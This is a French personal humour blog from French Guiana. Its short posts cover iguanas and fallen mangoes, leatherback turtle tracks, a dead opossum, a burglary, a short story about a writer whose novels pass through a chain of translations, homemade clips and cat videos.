  Hélas, elles sont trop petites pour être mangeables, elles qui ne sont pas grosses en tout comme un oeuf (rappelons que le noyau d’une mangue consommable est de la taille d’un oeuf aplati). Ci-dessous : mangue adulte (à gauche), mangues en bas âge (à droite).
  

  

  Mais pour quelles raisons mystérieuses ces mangues choient-elles avant d’être à maturité ? Premièrement, le « réchauffement climatique » fait que le vent jadis aussi léger, dirait Knock, que salubre dans nos régions côtières de la Guyane a forci ces temps derniers. Deuxièmement, les jeunes iguanes qui habitent dans notre manguier manquent de discernement : ils s’aventurent à la recherche de fruits à point sur des branches assez minces qui n’en peuvent mais et ils tombent de l’arbre dans un grand bruissement, entraînant avec eux une myriade de délicieux espoirs qui jamais ne connaitront la plénitude de l’âge adulte et jonchent notre jardin devenu cimetière infructueux parmi l’herbe folle . C’est dommage mais c’est comme ça ! Au moins, ça nourrit l’iguane et ses copains. Merci de votre attention.

  
• Traces de lutte

  La créature des marais avait décidé ce matin de montrer les tortues luth à sa grenouille et à leur tétard. Expédition lointaine, s’il en fut, puisqu’il s’agissait de s’éloigner d’au moins 500 mètres du domicile, pour un résultat très décevant.

  De tortues point. Mais leurs traces de la veille qui me font songer à celles laissées par les engins de nettoyage de la plage de La Baule…

  

  Il vous faudra donc attendre un article ultérieur pour vous montrer des clichés réalisés par la CdM en personne.

  Est-ce un billet de la créature des marais du 12/05/2008 qui a préfiguré le poisson d’avril de La Presqu’île guérandaise 2011 à propos des tortues luth à La Baule ?

  
• Nature morte

  Certaines personnes affirment que la créature qui semble traquer en tous lieux les animaux rares qu’elle photographie, ne bouge pas, en fait, de sa piscine. Ce que confirmerait l’arrière-plan de ses prises. Eh bien, c’est assez vrai. Mais cette fois-ci, elle a poussé un pied palmé jusqu’à sa rue, un pied dans le gore.

  Âmes sensibles, abstenez-vous de cliquer sur la photo-mystère ci-dessous qui vous révèlera l’opposum vu de l’intérieur. Ce joyeux marsupial communément appelé « Pian » en Guyane – et celui-ci est un « pian à oreilles noires » mais plutôt mort – fait le délice des Martiniquais qui n’ont pas d’autre gibier. Les Guyanais s’en gaussent. Il est à noter que les Brésiliens le surnomment parfois « Zorro » et, quand on voit sa queue miteuse, on se demande ce qu’il pourrait bien signer à la pointe de celle-ci…

  

  Difficile de dire que la bestiole est jolie. En outre, à l’instar de Alf, elle est connue pour manger les jeunes chats. Pour finir, Bruno M***, ex-colocataire de Kiki à Kourou, m’avait fait rire en me disant qu’il avait un copain prénommé Pierre qui était tellement moche qu’on l’appelait « Peter Pian ».

  
• Petit criquet deviendra…

  Vous souvenez-vous des photos de jeunes criquets sortis de terre ? Voici ce qu’ils donnent à l’âge adulte, du vert tendre au marron automne, habile manière de se dissimuler dans ce grand jardin qu’est la Guyane. Je dois avouer que, peu de temps après les clichés, notre chat nommé de façon résolument originale « Minou », qui suit un régime végétarien en ce moment, s’est empressé de déguster ce « Criquet feuille ». RIP.

  

  
• 21 millions d'entrées

  Si lacreaturedesmarais avait encore disposé de son matériel, elle aurait pu réaliser une bande-annonce hilarante de cinéma quoique pour être sincère, elle n’ait pas eu beaucoup de loisir ces temps derniers. Mais voilà, de petits repasseurs, des malfaisants du cambriolage, ont découpé la tôle qui couvre le logis de notre bonne créature et lui ont volé sa caméra et son Hi-MD pour aller les échanger contre du crack au quartier Bonhomme.

  Sans ses accessoires, la créature en est réduite à vous présenter une simple affichette de shit :

  

  Merci de votre attention, c’est tout pour aujourd’hui.

  
• Une nouvelle de la CdM

  Traduction des traductions

  
  

  J’entends aujourd’hui honorer un écrivain méconnu. De ses romans, la critique aurait retenu avec perplexité un style insolite et inimitable. L’œuvre de Jormir Dufly est une succession de tableaux familiers et exotiques où le détour de chaque phrase jette le lecteur hors de l’ornière de sa langue natale. L’auteur a prétendu viser initialement, avec toute la simplicité dont il était capable, une formulation accessible à tous.

  Comment la prose jaillit-elle avec tant de nouveauté aux yeux de ses lectrices comme de ses lecteurs en dépit d’intrigues d’une médiocrité déconcertante ? Tout se cache dans la ronde enthousiaste de l’écriture de Dufly qui vous mène au milieu des floraisons inédites de l’expression. Sous le fouillis pittoresque des inventions verbales s’écoule la profondeur d’une voix chaque fois unique.

  J’ai eu autrefois le rare privilège de lire les manuscrits ultimes destinés à la publication. La ferveur avec laquelle je parcourus les sept pièces de cet assemblage universel, je l’éprouve encore dès que ma mémoire emprunte le chemin de ces sentiers qui s’écartent. Mais plus que cela, je me souviens de ce jour terrible où j’assistai à leur anéantissement par leur auteur.

  Si Jormir avait fait paraître le fruit de ses agissements, il m’aurait fallu taire ce qu’il m’avait dit de son procédé. Qu’on ne me soupçonne pas d’indélicatesse car il me jura ce jour-là sur sa propre tête qu’il abandonnait à jamais la littérature et m’autorisait à divulguer son échec à titre d’exemple pour l’édification de qui voudrait s’engager sur ses traces.

  Dufly était un expérimentateur. Il m’expliqua que ses scénarii appartenaient au genre de la romance afin de dépasser les frontières. Il se refusa à répertorier toutes les innovations auxquelles il s’était astreint à chaque nouvelle entreprise, alléguant que le simple récit de l’élaboration du troisième roman, « Les Larmes essuyées », constituait une preuve nécessaire et suffisante.

  Il composa d’abord une histoire dont la narration se partage entre péripéties et sentiments dans un univers où s’équilibrent le raffinement et la trivialité. Puis il téléphona à un intime. Il lui lut le premier paragraphe, le pria de transcrire ce qu’il en avait retenu. Ils continuèrent de la sorte jusqu’à l’achèvement du volume. Il posta celui-ci à un anglais parlant quoique imparfaitement la langue de l’auteur qui en fit la traduction en chinois. Le texte fut alors expédié à une sinologue éthiopienne qui le traduisit à son tour en amharique. Pour finir, un ami linguiste de Dufly convertit à nouveau la production dans la langue originale.

  Le résultat était stupéfiant, y compris pour un initié à la genèse de l’ouvrage. Le public, peut-être même le monde, aurait pu tomber sous le charme de cette réussite. Dufly m’indiqua avoir usé de manières aussi serpentines pour les autres travaux qu’il considérait comme un ensemble dont le nombre avait été arrêté par avance de façon arbitraire. Mais il traversa par la suite une période de douloureuses interrogations. Il pressentait une forme indéniable de malhonnêteté dans sa réalisation. Je crois qu’il souffrait surtout de l’avenir de son œuvre.

  C’est ainsi que nous nous retrouvâmes un matin pluvieux en haut des falaises où il arriva portant en liasses sous chaque bras toutes les étapes de ses créations. Il me confia que l’idée d’une traduction de son œuvre était un paradoxe insupportable : Elle représenterait l’annulation même de son projet, ou pire, une poursuite qui l’en dépossèderait définitivement et il lança d’innombrables feuillets qui s’envolèrent en se croisant au-dessus des vagues.

  
• Encore une fleur guyanaise étrange…

  On reproche parfois ces derniers temps à la CdM de ne pas commenter ses images. Premièrement, la CdM n’a pas de vocations botaniste ou entomologique. D’autre part, il n’y a pas d’autre part.

  

  
• Ô ma Brouette ! Clip inachevé…

   

   

   

   

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  Un clip inachevé. Je me suis d’abord filmé sur pied puis j’ai sollicité de l’aide. On croyait me filmer alors que je me mettais la brouette sur le dos pour jouer les scarabées (amusant mais lourd). Le rush suivant : Une personne tenait la caméra et une autre un tornado sur souffleur pour le diriger vers ma bouche et dans ma brouette, cela donnait l’impression d’une écrasante vitesse qui tord le visage, le tout sur fond bleu et d’autres choses encore. Malheureusement, cette saloperie de caméra n’avait rien filmé. Du coup, le clip de « Ô ma brouette » ne sera jamais terminé… Pourtant, elle était sympa ma compo.

  
  

  
• Naissance de criquet

  La naissance de bébés criquets en Guyane :

  Un spectacle magnifique : Cliquez sur la photo.

  
  

  

  
  

  
  

  
• Du jardin

  Des photographies de fleurs jaune, rouge, rose et fuchsia. C’est amusant la photo de fleur…

  
  
  
  

  
• Le Patch, la bière sans les bulles

  Une ancienne vidéo de la créature des marais : Pour arrêter la bière, il suffit de se mettre au patch plutôt qu’au pack de 12  (heineken ou heideken). Un clip qui promeut la protection de l’environnement. Amusant, non ?

  
  

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  Merci de votre attention.

  
• Municipales 2008 en Guyane

  Eh oui, les élections municipales… 2008, la démocratie est l’heure de la démocratie. Il faut le vote mais cela n’empêche pas l’humour. On m’avait déjà fait ce reproche vers la fin des années 90 sur l’Oyapock : Je voulais voter blanc alors, j’avais fait un bulletin aux vraies dimensions, où figurait le Professeur Ridgewell (l’explorateur anglais qui enseigne aux Amérindiens à jouer au golf) et le slogan suivant : « Votez Pr Ridgewell pour une Guyane plus guyanaise! » :musicnote: C’est étrange mais cela n’avait amusé personne sauf moi…

  
  

  
  

  
• Un iguane dans la lightbox

  

  Un iguane de Guyane en photo à côté de la piscine de la créature des marais. Si on clique, elle s’ouvre en effet lightbox…

  
• Qu’est-ce que le temps ?

  A vous de choisir ! Amusant : une animation en flash… sur le taon.

  Brillante parabole animalière, non ?

  
• Merci le net

  Je découvre wordpress (logiciel de gestion de blog) depuis quatre jours. C’est un vrai jeu de bidouiller les fichiers dans tous les sens via l’interface ou via le ftp, d’ajouter du plugin en rafales sans compter les widgets, bref, de faire un peu tout et n’importe quoi…C’est aussi très inconfortable de se retrouver comme un blaireau devant une belle page d’erreur 404 (comme la belle voiture) ou erreur 500 (au moins dix fois les 50e hurlants de rage ou rugissants) à la place de la page laborieusement élaborée après un travail de véritable bagnard. On croit alors que c’est du boulot foutu en l’air. Pas du tout.

  
  

  La personne qui s’y connaît, bienheureuse personne, soit ne commet pas les erreurs fatales du débutant ou prend ses précautions. Je ne crois pas non plus qu’elle soit susceptible de remonter la suite des manipulations désespérées du néophyte débridé… et pourtant, sur la toile, de gentilles araignées philanthropes ont tricoté la réponse aux angoisses des plus démunis et des plus maladroits en gestion bloguesque sur le forum. C’est à ce prix que vous pouvez voir ma page en Europe. C’est vert, mais pas assez encore pour la Créature que cette couleur apaise devant son écran impitoyable. Allez voir si le « compteur » ne ralentit pas le chargement du blog… Quoi qu’il en soit, grand merci à tous ces humains altruistes qui sauvent les ignares d’une affreuse débâcle internautique. Respect.

  
• Chansons et éclipse de lune

  Une éclipse de lune prise par El Pop en Bretagne le 21 février 2008  à 4 h 50.

  

  Alors la Créature a rajouté un son de chat de gouttière sur au clair de la lune !

  Au clair de quoi ?

  
• La Créature multicolore donne le vertige

  Il semble que les visiteuses/eurs qui tombent sur la page créaturesque hébergée par Over-Blog   aient le tournis à cause de l’image d’arrière-plan et cela paraît normal. Cette image animée est une pure  allégorie.

  

   

  Pour commencer, la Créature est l’amie des Petits Hommes Verts par affinité chromatique. Mais elle communie également avec les personnes affectées d’une grave hépatite ainsi qu’avec tous les Asiatiques pour peu qu’ils soient jaune clair, ce qui fait pas mal de monde. Elle est aussi en lien avec les Diables Rouges et les Sioux du Dakota à la peau cuivrée.Enfin, son amitié pour les Sctroumpfs, appelés autrement Petits Hommes bleus, remonte au déluge.Offrez-vous une créature si vous désirez rencontrer ses Ami(e)s : Abonnez-vous pour seulement une bouteille de chouchen par an !

  
• La piscine du danger

  Vous regarderez désormais les piscines privées d’une autre façon… la piscine du danger se propose comme de l’humour façon « lacreaturedesmarais ».

  *

  Merci de votre attention.

  
• Noël

  Oui, c’est passé… La Cdm avait fait un petit son qu’elle n’avait pas mis en ligne à l’heure comme d’habitude ! En gros, c’est une chanson de noël par papa noël, christmas, quoi ? Alors, c’est de l’humour ? Est-ce amusant ? Est-ce fun ? Bof, vous avez raison.

  Papa Noël RTT

  
• Toujours des chats
  Une parodie des Deux Frères de Jean-Jacques Annaud avec les Deux cousins de Jean-Jacques Annal.

  
• Ouverture

  Bonjour chez Vous ! Un peu d’humour félin ?

  La Cdm vous présente une vidéo de Minou, un chat prometteur abandonné à Lifou (Iles Loyauté) dans son premier et dernier clip. Hormis la basse et le loop de batterie, tout vient du mixage des miaulements.

  Merci de votre attention.